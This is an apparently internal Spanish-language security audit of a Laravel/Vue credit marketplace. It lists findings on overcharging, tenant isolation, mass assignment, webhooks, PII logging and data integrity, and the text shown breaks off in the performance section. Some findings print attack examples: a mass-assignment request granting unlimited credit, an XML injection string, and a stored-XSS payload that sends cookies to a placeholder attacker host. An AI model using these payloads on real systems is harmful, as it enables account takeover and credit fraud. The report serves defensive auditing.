17 - Hallazgos Críticos Adicionales (Segunda Pasada Profunda)
Fecha: 2026-05-26
Alcance: Hallazgos críticos no documentados en los archivos 01-16 ni en el reporte de validación inicial
Método: auditoría dirigida por 8 agentes especializados en paralelo + revisión independiente de configuración, seeders, CI/CD, frontend XSS, multi-tenancy y mass-assignment
Resultado final: 154 hallazgos NUEVOS (54 críticos, 69 altos, 31 medios) que no aparecen en la auditoría inicial. Conteo de bugs únicos (descontando overlap entre categorías): ~135.
Resumen Ejecutivo
La auditoría inicial (docs/audit/01-16) cubrió estructura, flujos y bugs visibles a nivel de capa de servicios. Esta segunda pasada va mucho más profundo y descubre vulnerabilidades que ningún recorrido de documentación habría encontrado.
Veredicto en una línea
Mi Plante en su estado actual no debe procesar nuevas ventas hasta corregir al menos los 12 hallazgos críticos listados en la PARTE 1.
Razones específicas:
- Sobre-cobro sistemático del 100%+ a cada cliente que compre cantidades > 1 (F-001 → bug compuesto)
- Sobre-cobro del 200-300% en la fianza durante primer cuarto de cuotas (F-FIN-2)
- Cualquier
empleadopuede crearse cuenta de administrador y otorgarse cupo ilimitado en 2 requests HTTP (F-001 + F-002)- Webhook de Certicámara sin firma → cualquiera puede falsificar “pagaré firmado” para cualquier cliente (F-011)
- Datos sensibles de cliente (DNI, HDC, OTP, score, score crediticio) almacenados en plain text en 6 lugares distintos sin retención ni cifrado (F-PII-1..6 → violación de Habeas Data Ley 1581 + Ley 1266)
Conteo por categoría (FINAL — 8 de 8 agentes completados)
| Categoría | Findings | Críticos | Altos | Medios |
|---|---|---|---|---|
| Multi-tenancy / Aislamiento de aliados | 15 | 9 | 5 | 1 |
| Mass Assignment / Escalación de privilegios | 5 | 4 | 1 | 0 |
| Race conditions & concurrencia | 15 | 5 | 7 | 3 |
| Cálculos financieros y de cuotas | 15 | 4 | 8 | 3 |
| Seguridad profunda (XSS, XXE, MITM, OTP) | 18 | 5 | 10 | 3 |
| Logging de PII y tokens (Habeas Data) | 15 | 6 | 7 | 2 |
| Integridad de datos / state machines | 15 | 2 | 5 | 8 |
| Performance / N+1 / índices | 15 | 5 | 7 | 3 |
| Dead code & código roto adicional | 20 | 9 | 8 | 3 |
| Seeders con credenciales débiles | 2 | 2 | 0 | 0 |
| Configuración / despliegue / CI-CD | 6 | 1 | 3 | 2 |
| Intent vs Implementation (UML del cliente) | 13 | 2 | 8 | 3 |
| TOTAL FINAL | 154 | 54 | 69 | 31 |
Nota: existe overlap entre categorías (algunos findings se mencionan en 2 categorías). El conteo de bugs únicos es ~135.
PARTE 1 — TOP 12 HALLAZGOS CRÍTICOS DE NIVEL EJECUTIVO
Estos 12 hallazgos son los más críticos del sistema. Cada uno representa una vulnerabilidad catastrófica verificable hoy en producción.
F-001 [CRITICAL] — procesarCarrito() infla el subtotal multiplicando cantidad dos veces
Archivos: app/Http/Controllers/Market/VentaController.php:187, app/Services/VentaService.php:152-154
procesarCarrito() calcula $montoItem = $item->precio->precio * $item->cantidad, pasa eso como monto junto a cantidad. Luego VentaService::crearVenta vuelve a multiplicar cantidad * monto.
Aritmética con datos reales:
- Cliente compra 2 unidades de un producto de 500.000 COP → total esperado 1.000.000 COP
- Sistema almacena
subtotal = 2.000.000(doble) - A 12 cuotas, 1.914% mensual, 1% seguro → cliente paga ~2.257.000 COP en vez de ~1.128.500 → +128.5% de sobrecobro fraudulento
- El cupo se descuenta a 2M en vez de 1M
- Las cuotas se calculan sobre 2M
- El Core Crédito SHIVAM registra crédito por 2M
Este bug es ya conocido en el reporte de validación pero su impacto numérico no estaba cuantificado.
F-002 [CRITICAL] — Cliente::$fillable expone cupo_asignado y cupo_disponible a mass assignment
Archivos: app/Http/Controllers/Aliado/UserController.php:127-133, app/Models/Cliente.php:55-77
// UserController::updateif ($request->has('cliente') && $user->cliente) { $clienteData = $request->input('cliente'); // Sin validar if (is_array($clienteData)) { $user->cliente->update($clienteData); // $fillable incluye cupo_asignado, cupo_disponible }}Cliente::$fillable incluye:
cupo_asignado,cupo_disponible,cupo_vence_enpagare_firmado_en,certicamara_uuid,puede_intentar_firmar_pagare_enregistro_completado_en,vcard
Escenario de ataque:
PUT /aliados/usuarios/{victimUserId}{ "cliente": { "cupo_asignado": "999999999", "cupo_disponible": "999999999", "pagare_firmado_en": "2026-01-01T00:00:00Z" } }Resultado: víctima recibe 999 millones de COP de cupo sin pasar por aprobación, sin EMCALI, sin TransUnion, sin DataCrédito, sin Certicámara. Combinado con F-003 (cualquier empleado puede crearse administrador) → escalación completa en 2 requests HTTP.
F-003 [CRITICAL] — Privilege escalation: cualquier empleado puede crearse cuenta de administrador
Archivo: app/Http/Controllers/AliadoAuth/RegisteredUserController.php:207-307
Ruta: POST /aliados/usuarios/admin/crear (solo auth:app)
$validated = $request->validate([ 'rol' => 'required|string|in:administrador,administrador_comercial,administrador_financiero', ...]);$user = $this->userService->crearUsuario($crearUserDTO);$empresa = Empresa::find(1); // Empresa MASTERNo verifica que el usuario solicitante sea administrador. Un empleado envía POST y crea un administrador. Logueo, control total.
F-004 [CRITICAL] — Sobrecobro 200-300% en la fianza por bug de variable mal nombrada
Archivo: app/Services/VentaService.php:579,610
$cuartoDeCuotas = (int) floor($numeroCuotas / 4);$fianzaPorCuotas = round(($principal * $porcentajeFianza), 2); // ¡Es el TOTAL, no por cuota!...$montoFianza = ($i <= $cuartoDeCuotas) ? $fianzaPorCuotas : 0; // Cobra el TOTAL en cada cuotaEl nombre de variable engaña: fianzaPorCuotas es la fianza total, no la fianza por cuota. Cada una de las primeras cuartoDeCuotas cuotas recibe la fianza completa.
Aritmética real: Crédito 1.000.000 COP × 3% fianza = 30.000 COP fianza total esperada.
- Frontend (
credit.ts) divide bien: 10.000/mes × 3 cuotas = 30.000 ✓ - Backend cobra: 30.000 × 3 cuotas = 90.000 → 3× sobrecobro
Cliente ve en checkout “Fianza: 30.000 COP” pero su deuda real es 90.000 COP en fianza.
F-005 [CRITICAL] — Webhook de Certicámara sin verificación de firma
Archivo: app/Http/Controllers/Webhooks/CerticamaraController.php:13-42
No hay verificación HMAC, no hay validación de origen IP, no hay autenticación. Cualquier persona en internet con acceso al endpoint /api/v1/webhooks/certicamara puede falsificar un evento “signed” para cualquier UUID de cliente.
Escenario de ataque: Atacante consigue un certicamara_uuid (vía logs filtrados — F-PII-3 — o vía SSRF, o adivinando un UUID v4 — 122 bits pero pueden filtrar) → envía:
POST /api/v1/webhooks/certicamara{ "uuid": "<known-uuid>", "state": "signed", ... }→ cliente queda con pagare_firmado_en = now()
→ se generan cuotas, se aprueba la venta, se descuenta cupo
→ aliado recibe la mercancía con un pagaré que nunca fue firmado → no es ejecutable legalmente
F-006 [CRITICAL] — Job dispatched DENTRO de transacción abierta, con queue.after_commit: false
Archivos: app/Services/VentaService.php:245,403, config/queue.php (después de implementarse, en este repo no se ha cambiado el default)
GenerarCreditoDeVenta::dispatch(...) se hace dentro de una DB::transaction() abierta. Como after_commit: false, un worker de cola puede levantar el job antes de que se commitee la transacción. El worker entonces:
- Lee
Venta,Cliente,OrdenCompraque aún no están en BD →ModelNotFoundException - O lee versiones stale → opera con datos incorrectos
- Si la transacción del dispatcher hace rollback, el worker ya creó el crédito en CoreCredito → se cobra al cliente sin que exista la venta
F-007 [CRITICAL] — Race condition: oversell de inventario sin lockForUpdate()
Archivos: app/Services/VentaService.php:172-179, 261-263, 419-422
Dos compras concurrentes del mismo producto leen precio.inventario = 1 simultáneamente, ambas pasan validación, ambas decrementan a 0, ambas commitean. Resultado: 2 ventas vendidas, 1 unidad real → cliente queda esperando producto que no existe + reembolsos manuales + reputación.
Cero usos de lockForUpdate() en todo el codebase. Cero atomic decrements (DB::raw('inventario - ?')). El sistema es vulnerable a oversell bajo cualquier carga concurrente.
F-008 [CRITICAL] — Tenant isolation rota: 15 endpoints permiten acceder a datos de otros aliados
Múltiples archivos: ver PARTE 4 (sección Multi-Tenancy)
Resumen: El portal de aliados (auth:app guard) carece de tenant isolation:
- Cualquier aliado puede
DELETE /aliados/ventas/{id}sobre venta de otro aliado - Cualquier aliado puede modificar productos de otro aliado
- Cualquier aliado puede borrar empresas, sucursales, empleados de otros aliados
- Cualquier aliado puede enumerar TODOS los clientes del sistema (DNI, cupo, mora)
- Cualquier aliado puede aprobar/rechazar postulaciones de nuevos aliados
15 endpoints afectados. Cero Policies. Cero Gates. Cero authorize() calls.
F-009 [CRITICAL] — XML Injection en SOAP de Core Crédito (cupo manipulable en banking core)
Archivo: app/Services/CoreCreditoService.php:219-268, 282-302, 312-329
return <<<XML...<ifx:ClientName1>{$datos['primer_nombre']}</ifx:ClientName1><ifx:HomeAddress>{$datos['direccion']}</ifx:HomeAddress>...XML;Ningún campo se escapa antes de la interpolación. Un cliente puede registrarse con nombres = "</ifx:ClientName1><ifx:CreditLimit>999999999</ifx:CreditLimit><ifx:ClientName1>" y el envelope SOAP queda con elementos inyectados que el banking core procesa como legítimos → manipulación de cupo en banking core.
F-010 [CRITICAL] — TLS verification disabled en Core Crédito (MITM total)
Archivo: app/Services/CoreCreditoService.php:67-69, 127-129, 187-189
->withOptions(['verify' => false])Todas las llamadas SOAP a SHIVAM viajan sin verificación de certificado. Cualquier atacante en la ruta (lateral movement en VPC, comprometido proxy/load balancer) puede leer y modificar envelopes con DNI, dirección, email, sex, vcard, monto de compra, límite de crédito.
F-011 [CRITICAL] — Seeders crean cuentas administrativas con contraseñas públicas
Archivos: database/seeders/EmpresaSeeder.php, database/seeders/ClienteAdministradorSeeder.php
EmpresaSeeder crea tres administradores con contraseña hardcoded Test1234.:
testadmin@example.com/Test1234.(administrador)testadmincomercial@example.com/Test1234.(administrador_comercial)testfinanciero@example.com/Test1234.(administrador_financiero)
ClienteAdministradorSeeder:53:
'password' => $empresa->identificacion, // ¡NIT (PÚBLICO) COMO CONTRASEÑA!Si estos seeders alguna vez se corrieron en producción (o si la base productiva se migró desde un entorno con seeders), existen cuentas administrativas con credenciales triviales o públicas. Combinado con falta de rate limiting en login aliado (ya documentado) → toma de control en segundos.
F-012 [CRITICAL] — XSS almacenado en Producto.descripcion
Archivo: resources/js/pages/product/Detail.vue:582
<div v-else v-html="desc"></div>Sin sanitización. Cualquier aliado puede crear un producto con descripción:
<img src=x onerror="fetch('https://atacante/log?cookie='+document.cookie)">Cada visitante (cliente con sesión válida) ejecuta el JS → robo de cookie → secuestro de cuenta → checkout fraudulento con tarjetas guardadas. Combinado con F-008 (cualquier aliado modifica productos de otros aliados), un atacante puede envenenar productos populares del competidor.
PARTE 2 — RACE CONDITIONS Y CONCURRENCIA (15 hallazgos)
F-CONC-1 [CRITICAL] Inventory oversell entre check y decrement
app/Services/VentaService.php:172-179, 261-263, 419-422 — Sin lockForUpdate(), sin atomic decrement. Detallado en F-007.
F-CONC-2 [CRITICAL] Inventario restaurado dos veces en colisión entre abandonment y rechazo de Certicámara
ProcesarOrdenesAbandonadas.php:57-61 ↔ ValidarPagareDigital.php:195-208 — La orden marcada PENDIENTE > 60min puede ser procesada simultáneamente por el cron y por el webhook que indica state=blocked. Ambos restauran inventario. Compounded: ProcesarOrdenesAbandonadas no tiene transacción → estados inconsistentes posibles.
F-CONC-3 [CRITICAL] Job dispatched en transacción abierta + after_commit: false
Ya cubierto en F-006.
F-CONC-4 [CRITICAL] Retry de GenerarCreditoDeVenta causa doble pstPurchase en banking core
GenerarCreditoDeVenta.php:74-79, 88-95 (tries=3) — pstPurchase no es idempotente. Si la transacción local falla entre la llamada al banking core y el commit, el reintento dispara pstPurchase otra vez → cliente cobrado dos veces.
F-CONC-5 [HIGH] ConsultarCupoDelCliente middleware sobrescribe cupo en flight
ConsultarCupoDelCliente.php:30-39 — Una venta decrementa cupo localmente; el middleware en otra pestaña recarga cupo del core (con lag de replicación) → silently revierte el decremento.
F-CONC-6 [HIGH] Carrito sin unique constraint → doble carrito por doble-tap
CarritoService.php:34-52, 2025_08_25_035251_create_carritos_table.php (sin unique). Dos add to cart rápidos en móvil crean dos rows → procesarCarrito itera dos, inflación se compone con F-001.
F-CONC-7 [HIGH] Webhook Certicámara acepta replay (sin nonce ni HMAC)
Cubierto en F-005.
F-CONC-8 [HIGH] Race entre ProcesarOrdenesAbandonadas y ValidarPagareDigital
Ambos jobs pueden operar sobre la misma orden simultáneamente: o el cliente firma pagaré pero la orden ya está ABANDONADA, o la orden queda PROCESADA pero el cron restaura inventario.
F-CONC-9 [HIGH] OTP transaction ID sobrevive a verificación exitosa (ventana de replay 30min)
IdentityValidationService.php:262-355 — Cache no se limpia post-éxito. Atacante con OTP capturado puede reusarlo en otra sesión durante 30 minutos. También entre pestañas del mismo usuario: race condition en transaccion_otp_id.
F-CONC-10 [HIGH] ProcesarFilaProducto corrompe contadores de batch bajo workers concurrentes
ProcesarFilaProducto.php:40-61 — Read-modify-write sobre Cache::get('batch:X:history'). Lost updates → reportes batch incorrectos, errores silenciosamente swallowed.
F-CONC-11 [MEDIUM] cuotas sin unique(venta_id, numero_cuota) → cuotas duplicadas no detectadas
La generación duplicada (ya documentada) crearía 2N cuotas; un constraint UNIQUE en BD lo prevendría.
F-CONC-12 [MEDIUM] VentaCompletadaListener (dead code) doble-decrementaría cupo + inventario si se reviviera
Landmine dormida.
F-CONC-13 [MEDIUM] Race en registro con mismo DNI bypasea uniqueness
Auth/RegisteredUserController.php:62-75 — Validator hace exists() fuera de transacción. No hay unique index en BD para (tipo_dni, dni).
F-CONC-14 [MEDIUM] validarSiElClienteTieneSuCupoAprobado permite doble aprobación
AprobarCupoService.php:17-38 — Sin lock. Doble refresh en navegador puede aprobar y extender cupo dos veces.
F-CONC-15 [LOW] ExtenderCupoService::extender() no atómico → cupo inconsistente con banking core
Lectura del cupo se hace antes de venta concurrente → escritura posterior pisa la venta.
PARTE 3 — CÁLCULOS FINANCIEROS (15 hallazgos)
F-FIN-1 [CRITICAL] Subtotal double-multiplied por cantidad → +100% sobrecobro
Cubierto en F-001.
F-FIN-2 [CRITICAL] Fianza cobrada al valor total en cada cuota, no dividida
Cubierto en F-004.
F-FIN-3 [CRITICAL] porcentaje_fianza unit mismatch backend↔frontend
VentaService.php:576 lee config como decimal (0.03 = 3%). Simulator/Index.vue:49 y otros divide config entre 100. Si env=3 (entendido como %), backend cobra 300% fianza, frontend cobra 3%. Sin valor de env que satisfaga ambos.
F-FIN-4 [CRITICAL] generarCuotasPorOrden() omite fianza completamente
VentaService.php:644-752 — La ruta multi-empresa (cart con productos de múltiples aliados) no calcula fianza mientras la ruta single-empresa sí. Cobro inconsistente según composición del carrito.
F-FIN-5 [HIGH] Frontend/Backend usan formulas amortización divergentes
credit.ts:60-66 usa PMT francés constante. VentaService.php:599 usa fórmula iterativa con rounding por paso → divergencia en última cuota.
F-FIN-6 [HIGH] monthsWithBail con redondeo inconsistente (Math.ceil vs floor)
credit.ts:72 ceil, VentaService.php:578 floor, Detail.vue:277 floor — para numero_cuotas=10: frontend muestra 3 meses, backend cobra 2 meses.
F-FIN-7 [HIGH] dias_desfase declarado, expuesto al frontend, nunca aplicado por backend
Cliente ve “primera cuota en 8 días”. Backend pone fecha_vencimiento a +1 mes desde created_at. Backend marca vencida mientras cliente cree que faltan 3 semanas.
F-FIN-8 [HIGH] dia_pago y ciclo ignorados al generar fechas de cuota
Cliente tiene dia_pago=05 (enviado al banking core), pero VentaService.generarCuotas usa created_at->addMonth() → cliente cree que paga día 5, sistema lo marca vencido en otra fecha.
Además addMonth() causa drift 31→28→28 sin recuperación.
F-FIN-9 [HIGH] Race condition de cupo en ventas paralelas (multi-empresa)
GenerarCreditoDeVenta.php:93 — sin atomic decrement. Dos jobs leen cupo stale, último escribe → lost update → cliente puede re-gastar cupo ya asignado.
F-FIN-10 [HIGH] VentaCompletadaListener (dead code) double-debit cupo + inventario si se revive
Landmine.
F-FIN-11 [HIGH] descuento_aplicado sin bound superior → total negativo posible
CrearVentaClienteRequest.php:33 — Solo min:0. Cliente envía descuento_aplicado = 999_999_999 → total = subtotal - 999M → muy negativo → cuotas negativas → sistema “paga” al cliente.
F-FIN-12 [HIGH] Type mismatch: ventas.subtotal/total son bigInteger pero código escribe floats
Migración usa bigInteger, código pasa floats → MySQL trunca centavos sin error. Centavos perdidos en cada transacción. descuento_aplicado además es float (precisión single).
F-FIN-13 [HIGH] Dos formatters de COP con comportamientos distintos
format.ts muestra decimales, formatters.ts no. Misma página puede usar ambos → cliente ve sumas inconsistentes (cuotas individuales sin decimales, total con).
F-FIN-14 [MEDIUM] monto_pagado acumulación con lost update race
PlanCreditoService.php:109 — RMW sin lock. Pagos concurrentes pierden uno. Además cap al monto esperado descarta sobrepagos sin registrarlos.
F-FIN-15 [MEDIUM] MarcarCuotasVencidas usa UTC contra fechas de Bogotá
config/app.php timezone UTC. Carbon now() UTC. Cuota due Jun 5 Bogotá se marca vencida temprano UTC.
PARTE 4 — TENANT ISOLATION (15 hallazgos)
15 endpoints en el portal de aliados sin tenant isolation. Ver detalle expandido en F-008. Vulnerabilidades clave:
- F-TEN-1..6 [CRITICAL]: ventas, productos, empresas, sucursales, empleados, usuarios — todos sin ownership scope
- F-TEN-7 [CRITICAL]: bulk import de productos acepta
empresa_idarbitrario → polución del catálogo competidor - F-TEN-8,9 [HIGH]:
ClienteController.searchypresentaMorapermiten enumerar TODA la base de clientes con DNI, cupo, mora - F-TEN-10 [CRITICAL]:
VentaController.indexconsucursal_idspoofed devuelve TODAS las ventas de competidor - F-TEN-11 [HIGH]: dashboard expone resúmenes financieros de cualquier sucursal vía query string
- F-TEN-12 [CRITICAL]:
PostulacionController::actionpermite que cualquierempleadoapruebe/rechace postulaciones de nuevos aliados - F-TEN-13 [CRITICAL]:
storeAdminpermite auto-elevación a administrador (cubierto en F-003) - F-TEN-14 [HIGH]: Reporte Comercial expone TODA la base con un rol global → si combina con auto-elevación = export completo de PII en 2 minutos
- F-TEN-15 [MEDIUM]: empleados pueden ser creados en sucursales de otras empresas
- F-TEN-16 [HIGH]:
ventasPorUsuarioroute apunta a método que no existe → 500 / DoS surface
PARTE 5 — SEGURIDAD PROFUNDA (18 hallazgos)
Vulnerabilidades de inyección, autenticación y exposición
- F-SEC-1 [CRITICAL] Mass assignment de
Cliente(F-002, expandido) - F-SEC-2 [CRITICAL]
User::$fillableconguard, rol, activo→ escalación si algún endpoint usaUser::create($request->all()) - F-SEC-3 [CRITICAL] Webhook Certicámara sin HMAC (F-005)
- F-SEC-4 [CRITICAL] XML Injection en SOAP CoreCredito (F-009)
- F-SEC-5 [CRITICAL] TLS verify=false en CoreCredito (F-010)
- F-SEC-6 [HIGH] Registro aliado marca email como Verified sin click-through → bypass del verified middleware.
event(new Verified($user))se dispara enstore()antes de cualquier confirmación de email. - F-SEC-7 [HIGH] Signed URL de registro aliado válida 3 meses + el
POST aliado-postulacion.register.storeNO tienesignedmiddleware → URL reutilizable durante 90 días, y un solo signed link permite múltiples registros - F-SEC-8 [HIGH] Todos los responses de APIs (Experian, DataCrédito, Certicámara, CoreCrédito) se persisten en
aprobar_cupo_eventos.contextoy/ologsMySQL en plaintext - F-SEC-9 [HIGH] OTP verify sin throttle por usuario → brute-force 10⁶ posible durante 30 min de cache
- F-SEC-10 [HIGH]
regValidaciony cache de OTP no se invalidan al logout → próximo usuario hereda - F-SEC-11 [HIGH]
CompletarRegistroControlleraceptacupo_vence_en, numero_contratodel request → mass assignment parcial - F-SEC-12 [HIGH] XSS almacenado en producto (F-012)
- F-SEC-13 [HIGH] Bulk upload sin
mimes:xlsx,xls,csv(commented out), sinmax:5120. PhpSpreadsheet vulnerable a XXE histórico - F-SEC-14 [HIGH]
appearanceysidebar_statecookies NO encriptadas → patrón peligroso para nuevos cookies - F-SEC-15 [HIGH]
bootstrap/app.phpApiExceptionHandler logueaheaders + body + email→ Authorization, Cookie, password, otp_code persistidos enbackend_request_logs - F-SEC-16 [MEDIUM] DataCrédito
requestUUIDfijo:3fa85f64-5717-4562-b3fc-2c963f66afa6para todas las consultas → rompe trazabilidad regulatoria del bureau - F-SEC-17 [MEDIUM]
/consultar-cupoconrand(1,6)para estratos falsos → oracle de enumeración de contratos - F-SEC-18 [MEDIUM] Aliado login sin CAPTCHA, sin rate limit, con timing oracle inactive-vs-wrong-password (sin Bcrypt dummy)
PARTE 6 — LOGGING DE PII Y HABEAS DATA (15 hallazgos)
Implicación regulatoria: Mi Plante está sujeto a:
- Ley 1581 de 2012 (Habeas Data general)
- Ley 1266 de 2008 (Habeas Data financiero / bureau de crédito)
- Circular SFC Capítulo IV Título I (seguridad de la información)
- Guía SIC de Habeas Data 2018
Multas potenciales: hasta 2.000 SMLMV (~$2.500 millones COP) por incidente + acción civil de afectados.
Hallazgos confirmados
-
F-PII-1 [CRITICAL]
HDCValidationService.php:74-79loguea respuesta HDC completa de DataCrédito (score + historial + cuentas) enLog::info. Esta data llega asinglelog +databasechannel → tablalogsMySQL → visible vía/aliados/log-viewerpara cualquieradministrador. Violación Ley 1266 art. 6. -
F-PII-2 [CRITICAL]
IdentityValidationServicepersiste enaprobar_cupo_eventos.contexto(JSONB sin retención):- DNI + tipoDoc + nombres + fecha expedición
- OTP transaction ID + idTransaccionEmailOTP + regValidacion (¡bearer token activo 60 min!)
- Hash SHA-256 del OTP código (brute-forceable: 10⁶ hashes ≈ instantáneo)
- Respuestas de preguntas KBA (Knowledge-Based Authentication)
-
F-PII-3 [CRITICAL]
CerticamaraController.php:15,33:Log::info('Notificación recibida de Certicámara', $request->all())→ payload completo (UUID, biometric metadata, signed PDF URL) en log file- El payload pasa como segundo argumento del job → si el job falla, el payload completo queda en
failed_jobs.payloadJSON plaintext
-
F-PII-4 [CRITICAL]
bootstrap/app.php:50-83ApiExceptionHandler loguea:'headers' => $req->headers->all(), // Authorization, Cookie, X-CSRF-TOKEN'body' => $req->all(), // password, otp_code, dni, respuestas'user' => ['id', 'email']En cada error 500/422/401 → contenido en
backend_request_logsMySQL. Login fail loguea password plaintext. OTP verify fail loguea código OTP. Habeas Data violation completa. -
F-PII-5 [CRITICAL]
personastable sin encrypted cast:dni,expedido_en,lugar_expedicionplain text. SFC + SIC esperan encryption at rest para identity documents. AdicionalmenteDataCreditoService.php:254-258, 264-267loguea DNI en clear en errores. -
F-PII-6 [CRITICAL]
errorInterceptor.ts:27-39envía todo response body de cada axios call exitoso a/api/error-logs:await errorLogger.logSuccess({ ..., responseData: response.data });ErrorLogControllerno tiene auth, no tiene rate limit, no tiene PII filter. Cualquier visita a perfil del cliente espeja cliente.persona.dni + cupo + mora enfrontend_error_logspara siempre.
-
F-PII-7 [HIGH] DataCrédito OAuth tokens cacheados en BD (
CACHE_STORE=database) plaintext durante 590s. SQL backup → tokens vivos. -
F-PII-8 [HIGH] Core Crédito loguea
raw_responseXML completo en errores + envía credentials en headers +verify => false. -
F-PII-9 [HIGH] Certicámara loguea nombre + DNI en pagaré + response con signed document URL (URL es token de auth para el PDF firmado).
-
F-PII-10 [HIGH] LegalCheck persiste array completo de hallazgos legales (TransUnion findings: OFAC, PEP, Clinton list, Interpol) en
aprobar_cupo_eventos.contexto. Riesgo de defamation lawsuit si filtra. -
F-PII-11 [HIGH] Sin correlation ID / tracing entre servicios. No hay Sentry, Bugsnag, Datadog, New Relic. Incident response prácticamente imposible.
-
F-PII-12 [HIGH] Ningún log tiene retención. Tablas
backend_request_logs,frontend_error_logs,aprobar_cupo_eventos,logscrecen indefinidamente. Habeas Data Ley 1581 art. 4(f) caducidad. -
F-PII-13 [HIGH]
HandleInertiaRequestsenvía full User + cliente + clienteData en cada respuesta Inertia (incluida páginas de error). User.$hidden solo strippeapasswordyremember_token→ email, telefono, direccion, fecha_nacimiento, persona en cada página. Ziggy expone todas las rutas incluyendoaliado.*y/aliados/log-viewer. -
F-PII-14 [MEDIUM] Password reset email expone walkthrough de login (revela username = email). Signed URL de postulación aprobada válida 3 meses.
-
F-PII-15 [MEDIUM] Frontend envía
stackcompleto (con paths internos) a/api/error-logs. Sin source-map sanitization. Sin limit en validator (atacante puede enviar 10MB stack).
PARTE 7 — CONFIGURACIÓN Y DESPLIEGUE (6 hallazgos)
- F-CFG-1 [CRITICAL]
config/services.php:113Core Crédito fallback hardcodedhttps://10.241.88.102:8443/HHOJAVASTOREDEVL/...— IP interna con “DEVL” en path - F-CFG-2 [HIGH]
trxn_cmnt = "Trxn Capacitacion"— todas las transacciones bancarias marcadas como entrenamiento - F-CFG-3 [HIGH]
.env.exampledefaultAPP_ENV=local, APP_DEBUG=true→ deploy típico cp .env.example .env arranca con debug ON - F-CFG-4 [HIGH] CI
tests.ymlejecuta phpunit con phpunit.xml configurado para MySQL pero sin contenedor MySQL → tests fallan o se saltan silenciosamente - F-CFG-5 [MEDIUM] No hay Dockerfile, docker-compose, deploy script, IaC. Despliegues manuales.
- F-CFG-6 [MEDIUM]
composer.jsonaún identificado comolaravel/vue-starter-kit.package.jsoncon dos libs de notificación (sweetalert2 + vue3-toastify) duplicando funcionalidad.
PARTE 8 — INTEGRIDAD DE DATOS Y STATE MACHINES (15 hallazgos)
F-INT-1 [CRITICAL] OrdenCompraEstado::CANCELADA no existe — ImportarVentasDeCSV crashea
Archivo: app/Console/Commands/ImportarVentasDeCSV.php:410
EstadoVenta::ABANDONADA => OrdenCompraEstado::CANCELADA, // ¡no existe!El enum solo tiene PENDIENTE, PROCESADA, RECHAZADA, ABANDONADA. Al importar ventas rechazadas, lanza Error: Undefined constant. El loop NO está en DB::transaction() → rows previos quedan persistidos en estado inconsistente.
F-INT-2 [CRITICAL] Empresa deletion destruye TODA la historia financiera
Archivos: migraciones empresas → sucursales → ventas → cuotas, todas con onDelete('cascade'). Empresa no usa SoftDeletes.
Un solo DELETE FROM empresas WHERE id=2 borra: sucursales, ventas, cuotas, venta_detalles, productos, precios — años de historia crediticia. El cupo_disponible del cliente NO se restaura. No hay método eliminar() en EmpresaService pero un seeder o comando que use Eloquent borraría todo silenciosamente.
F-INT-3 [HIGH] VentaDetalle.precio_id cascadea en force delete de Precio
Soft-delete normal de Precio mantiene la FK, PERO Precio::query()->forceDelete() o limpieza de BD elimina las venta_detalles asociadas. Más grave: el withTrashed() no se usa en cascade-restoration paths, así que ProcesarOrdenesAbandonadas silently SKIPea inventario cuando precio está soft-deleted.
F-INT-4 [HIGH] Carrito sin snapshot de precio — race con admin updates
Tabla carritos solo tiene precio_id y cantidad. Cliente añade producto a $100k, aliado lo cambia a $1M, cliente paga $1M en checkout sin warning. Inversa: aliado lo cambia a $1 → cliente paga centavos.
F-INT-5 [HIGH] User.email globalmente único — mismo email no puede existir en ambos guards
Aliado registrado primero NO puede luego registrarse como cliente. El constraint en users.email es global (no (guard, email)). Comerciante de Cali que también es cliente: bloqueado.
F-INT-6 [HIGH] Down migration de orden_compras.estado apunta a enum inválido
2026_01_24_024750_add_rechazada_and_abandonada_to_orden_compras_estado.php:27 rollback usa ['procesada', 'completada', 'cancelada'] — valores que nunca estuvieron en el create migration original. Cualquier migrate:rollback en producción rompe o silently corrompe datos.
F-INT-7 [HIGH] numero_contrato sin uniqueness DB-level — race en registros
Migración: bigInteger('numero_contrato') sin unique. Solo validación app-level. Dos registros concurrentes con mismo contrato pasan ambos → mismo EMCALI contrato pertenece a dos cuentas. Cliente::where('numero_contrato', $x)->first() no determinístico.
F-INT-8 [HIGH] Cuotas tiene DOS FK (venta_id + orden_compra_id) — reportes doblan valores
generarCuotasPorOrden crea cuotas “master” con venta_id=null Y cuotas per-venta con ambos. Un orden de 12 cuotas × 3 empresas = 12 + 36 = 48 cuotas. Reportes que suman cuotas.monto por orden_compra_id doblan el valor. No hay constraint que enforce la invariante.
F-INT-9 [HIGH] user_empresa pivot permite sucursal_id de otra empresa
Aliado A puede crear empleado con sucursal_id de Empresa B. Pivot row inconsistente. Empleado aparece en ambas listas, sucursal de B ve ventas que registró el empleado de A.
F-INT-10 [MEDIUM] SKU no único dentro de empresa — bulk import duplica productos
Migración productos.sku solo string('sku')->nullable(). Doble upload del mismo XLSX crea dos productos con mismo SKU. Inventario fragmentado.
F-INT-11 [MEDIUM] Slug de productos globalmente único — colisión cross-tenant
Bulk import paraliza segundos empresa cuando dos empresas suben simultáneamente “Samsung TV 50”. uniqid() colisiona ~1/100k. Catch retorna duplicateSlug, producto invisible para el segundo aliado.
F-INT-12 [MEDIUM] certicamara_uuid no único — un mismo pagaré asignable a dos clientes
Migración sin unique constraint. Si Certicámara devuelve UUID stale/duplicado por su bug, dos clientes apuntan al mismo pagaré → webhook acredita al cliente equivocado.
F-INT-13 [MEDIUM] Cuota extends Model (no Modelo) → columnas created_at/updated_at mientras todo lo demás usa creado_en/actualizado_en
Inconsistencia que rompe queries que mezclan convenciones. Cuota::where('creado_en', ...) retorna vacío.
F-INT-14 [MEDIUM] numero_contrato como BIGINT — pierde ceros a la izquierda
EMCALI contratos pueden tener ceros iniciales (e.g., 0012345). Stored as BIGINT → 12345. Reconciliación con EMCALI falla.
F-INT-15 [MEDIUM] ProcesarPagareDigital logea estado_final = PROCESADA pero NO actualiza el modelo
ProcesarPagareDigital.php:153 solo logea; el cambio real lo hace GenerarCreditoDeVenta por venta. En multi-empresa cart, una venta exitosa marca PROCESADA aunque otras ventas estén RECHAZADA → reportes contables ven el total completo como venta exitosa.
PARTE 9 — PERFORMANCE Y ESCALABILIDAD (15 hallazgos)
F-PERF-1 [CRITICAL] Cada respuesta XHR exitosa escribe row en frontend_error_logs
errorInterceptor.ts:27-39 envía logSuccess por TODA petición axios. /api/error-logs sin throttle, sin auth. 1.000 usuarios concurrentes × 5-10 calls/min = 5.000-10.000 inserts/min en tabla sin índices ni retención.
F-PERF-2 [CRITICAL] HandleInertiaRequests envía 200-500KB por request
